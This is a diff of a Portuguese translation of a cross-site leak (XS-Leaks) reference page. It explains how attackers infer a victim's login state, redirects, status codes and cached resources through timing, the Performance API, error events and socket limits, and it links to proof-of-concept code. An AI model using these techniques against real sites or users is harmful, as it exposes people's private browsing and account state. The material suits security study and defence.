+Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets concorrentes. Os atacantes podem explorar essa limitação através dos seguintes passos:
 
 1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.
 2. Ocupando 255 sockets por um longo período iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
 3. Usar o 256º socket para enviar uma requisição para a página alvo.
-4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
+4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de temporização sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
 
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
-### Connection Pool by Destination
+### Pool de Conexões por Destino
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Inclusion Methods**: Requisições JavaScript
+- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**:
-- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
+- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **temporizar** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
 
-## Performance API Techniques
+## Técnicas da API de Desempenho
 
 A [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferece insights sobre as métricas de desempenho de aplicações web, ainda mais enriquecida pela [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). A Resource Timing API permite o monitoramento de tempos detalhados de requisições de rede, como a duração das requisições. Notavelmente, quando os servidores incluem o cabeçalho `Timing-Allow-Origin: *` em suas respostas, dados adicionais como o tamanho da transferência e o tempo de busca de domínio se tornam disponíveis.
 
-Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de tempo.
+Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de temporização.
 
-Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
+Além das medições de temporização, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
 
-### Error Leak
+### Vazamento de Erro
 
 - **Inclusion Methods**: Frames, HTML Elements
-- **Detectable Difference**: Status Code
+- **Detectable Difference**: Código de Status
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Uma requisição que resulta em erros não criará uma entrada de tempo de recurso.
+- **Summary:** Uma requisição que resulta em erros não criará uma entrada de temporização de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
 É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** não **criam uma entrada de desempenho**.
 
-### Style Reload Error
+### Erro de Recarregamento de Estilo
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Status Code
+- **Detectable Difference**: Código de Status
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Devido a um bug do navegador, requisições que resultam em erros são carregadas duas vezes.
 - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.
+Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na API de Desempenho e pode, portanto, ser detectado.
 
-### Request Merging Error
+### Erro de Mesclagem de Requisições
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Status Code
+- **Detectable Difference**: Código de Status
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Requisições que resultam em um erro não podem ser mescladas.
 - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
+A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-### Empty Page Leak
+### Vazamento de Página Vazia
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Respostas vazias não criam entradas de tempo de recurso.
+- **Summary:** Respostas vazias não criam entradas de temporização de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
 Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
 
-### **XSS-Auditor Leak**
+### **Vazamento do XSS-Auditor**
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Usando o XSS Auditor em Security Assertions, atacantes podem detectar elementos específicos de páginas da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
+- **Summary:** Usando o XSS Auditor em Aserções de Segurança, atacantes podem detectar elementos específicos de páginas da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
+Em Aserções de Segurança (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na API de Desempenho, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
 
-### X-Frame Leak
+### Vazamento do X-Frame
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Header
+- **Detectable Difference**: Cabeçalho
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de tempo de recurso.
+- **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de temporização de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
-Se uma página **não é permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
+Se uma página **não for permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
 O mesmo acontece se você usar uma **tag embed**.
 
-### Download Detection
+### Detecção de Download
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Header
+- **Detectable Difference**: Cabeçalho
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Downloads não criam entradas de tempo de recurso na Performance API.
+- **Summary:** Downloads não criam entradas de temporização de recurso na API de Desempenho.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Similar ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
+Similar ao XS-Leak descrito, um **recurso que é baixado** devido ao cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
 
-### Redirect Start Leak
+### Vazamento de Início de Redirecionamento
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Redirect
+- **Detectable Difference**: Redirecionamento
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Entrada de tempo de recurso vaza o tempo de início de um redirecionamento.
+- **Summary:** Entrada de temporização de recurso vaza o tempo de início de um redirecionamento.
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, em **SA** é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **Performance API** e verificando os dados de **tempo de redirecionamento**.
+Encontramos um caso de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, em **SA** é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **API de Desempenho** e verificando os dados de temporização **redirectStart**.
 
-### Duration Redirect Leak
+### Vazamento de Duração de Redirecionamento
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Redirect
+- **Detectable Difference**: Redirecionamento
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
+- **Summary:** A duração das entradas de temporização é negativa quando ocorre um redirecionamento.
 - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
 No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinta** de requisições que não resultam em um redirecionamento.
 
-### CORP Leak
+### Vazamento de CORP
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Header
+- **Detectable Difference**: Cabeçalho
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Recurso protegido com CORP não cria entradas de tempo de recurso.
+- **Summary:** Recurso protegido com CORP não cria entradas de temporização de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
 Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica de vazamento. No GC, quando o cabeçalho **CORP** está definido, o nextHopProtocol ficará **vazio**. Note que o SA não criará uma entrada de desempenho para recursos habilitados para CORP.
@@ -386,40 +386,40 @@ Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica
 ### Service Worker
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: API Usage
+- **Detectable Difference**: Uso da API
 - **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
 - **Summary:** Detectar se um service worker está registrado para uma origem específica.
 - **Code Example**:
 
 Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e **armazenar recursos** para criar aplicações web offline.\
 Se um **recurso armazenado** por um **service worker** for acessado via **iframe**, o recurso será **carregado do cache do service worker**.\
-Para detectar se o recurso foi **carregado do cache do service worker**, a **Performance API** pode ser usada.\
-Isso também pode ser feito com um ataque de Timing (verifique o artigo para mais informações).
+Para detectar se o recurso foi **carregado do cache do service worker**, a **API de Desempenho** pode ser usada.\
+Isso também poderia ser feito com um ataque de Temporização (verifique o artigo para mais informações).
 
 ### Cache
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Timing
+- **Detectable Difference**: Temporização
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
 - **Summary:** É possível verificar se um recurso foi armazenado no cache.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-Usando a [Performance API](xs-search.md#performance-api) é possível verificar se um recurso está em cache.
+Usando a [API de Desempenho](xs-search.md#performance-api) é possível verificar se um recurso está em cache.
 
-### Network Duration
+### Duração da Rede
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 - **Summary:** É possível recuperar a duração da rede de uma requisição da API `performance`.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
-## Error Messages Technique
+## Técnica de Mensagens de Erro
 
-### Media Error
+### Erro de Mídia
 
-- **Inclusion Methods**: HTML Elements (Video, Audio)
-- **Detectable Difference**: Status Code
+- **Inclusion Methods**: HTML Elements (Vídeo, Áudio)
+- **Detectable Difference**: Código de Status
 - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
 - **Summary:** No Firefox é possível vazar com precisão o código de status de uma requisição de origem cruzada.
 - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
@@ -480,7 +480,7 @@ A propriedade message da interface `MediaError` identifica de forma única os re
 - **Resumo:** Em Security Assertions (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Essa técnica permite que um atacante **extraia o destino do redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
+Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
 
 ### Erro SRI
 
@@ -586,12 +586,12 @@ Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertu
 - **Resumo:** Detectar diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser tão grande que o servidor responde com um erro e um alerta é gerado.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
-Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem **comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.
+Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.
 
 Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) para que, com o **tamanho da resposta aumentada** da **resposta correta**, um **erro** seja acionado. Nesse caso, lembre-se de que, se você disparar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
 Um exemplo da **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste relatório: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
-`SameSite=None` ou estar no mesmo contexto é geralmente necessário para esse tipo de ataque.
+`SameSite=None` ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.
 
 ### Comprimento Máximo da URL - Lado do Cliente
 
@@ -603,7 +603,7 @@ Um exemplo da **cookie bomb + XS-Search** pode ser encontrado na solução prete
 
 De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
 
-> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.
+> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação interprocessual.
 
 Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazer com que ela redirecione com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
 
@@ -740,7 +740,7 @@ No Chrome, se uma página com o cabeçalho `X-Frame-Options` definido como "deny
 - **Métodos de Inclusão**: Frames, Pop-ups
 - **Diferença Detectável**: Cabeçalhos
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
-- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica download de arquivo bem-sucedido.
+- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
 
 O cabeçalho `Content-Disposition`, especificamente `Content-Disposition: attachment`, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que aciona um download de arquivo. Em navegadores baseados em Chromium, existem algumas técnicas para detectar esse comportamento de download:
@@ -752,7 +752,7 @@ O cabeçalho `Content-Disposition`, especificamente `Content-Disposition: attach
 - Quando uma página aciona um download de arquivo usando o cabeçalho `Content-Disposition: attachment`, isso não causa um evento de navegação.
 - Carregando o conteúdo em um iframe e monitorando eventos de navegação, é possível verificar se a disposição do conteúdo causa um download de arquivo (sem navegação) ou não.
 3. **Navegação de Download sem Iframes**:
-- Semelhante à técnica do iframe, esse método envolve usar `window.open` em vez de um iframe.
+- Semelhante à técnica do iframe, este método envolve usar `window.open` em vez de um iframe.
 - Monitorar eventos de navegação na nova janela aberta pode revelar se um download de arquivo foi acionado (sem navegação) ou se o conteúdo é exibido inline (a navegação ocorre).
 
 Em cenários onde apenas usuários logados podem acionar tais downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador ao pedido de download.
@@ -762,14 +762,14 @@ Em cenários onde apenas usuários logados podem acionar tais downloads, essas t
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Tempo
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
-- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica download de arquivo bem-sucedido.
+- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Se um site `example.com` inclui um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta pelo _eTLD+1_ de nível superior e pelo _eTLD+1_ do frame.
+Se um site `example.com` incluir um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
 
 Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache.\
 Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada em cache e medir o tempo que leva**.
@@ -817,12 +817,12 @@ Ao chegar a solicitação iniciada na etapa anterior, o **service worker** respo
 > [!WARNING]
 > Em uma medição de tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Tempo de Fetch
+### Medição de Fetch
 
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
-- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar um pedido. Outros relógios podem ser usados.
+- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
 ### Tempo entre Janelas
@@ -830,7 +830,7 @@ Ao chegar a solicitação iniciada na etapa anterior, o **service worker** respo
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
-- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar um pedido usando `window.open`. Outros relógios podem ser usados.
